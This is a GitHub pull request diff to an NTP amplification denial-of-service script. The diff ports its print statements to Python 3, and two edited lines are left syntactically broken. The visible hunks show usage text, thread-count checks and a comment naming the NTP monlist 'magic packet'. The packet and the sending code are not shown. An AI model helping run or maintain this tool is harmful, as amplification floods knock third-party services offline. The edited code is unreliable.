Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update ntp-dos.py #7

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 9 additions & 9 deletions ntp-dos.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,12 +24,12 @@ def deny():

#So I dont have to have the same stuff twice
def printhelp():
print "NTP Amplification DOS Attack"
print "By DaRkReD"
print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
print "NTP serverlist file should contain one IP per line"
print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
print ("NTP Amplification DOS Attack")
print ("By DaRkReD")
print ("Usage ntpdos.py <target ip> <ntpserver list> <number of threads>")
print ("ex: ex: ntpdos.py 1.2.3.4 file.txt 10")
print "(NTP serverlist file should contain one IP per line")
(print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS")
exit(0)

try:
Expand All @@ -52,8 +52,8 @@ def printhelp():

#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
print "Attack Aborted: More threads than servers"
print "Next time dont create more threads than servers"
print ("Attack Aborted: More threads than servers")
print ("Next time dont create more threads than servers")
exit(0)

#Magic Packet aka NTP v2 Monlist Packet
Expand All @@ -73,7 +73,7 @@ def printhelp():
threads.append(thread)

#In progress!
print "Sending..."
print ("Sending...")

#Keep alive so ctrl+c still kills all them threads
while True:
Expand Down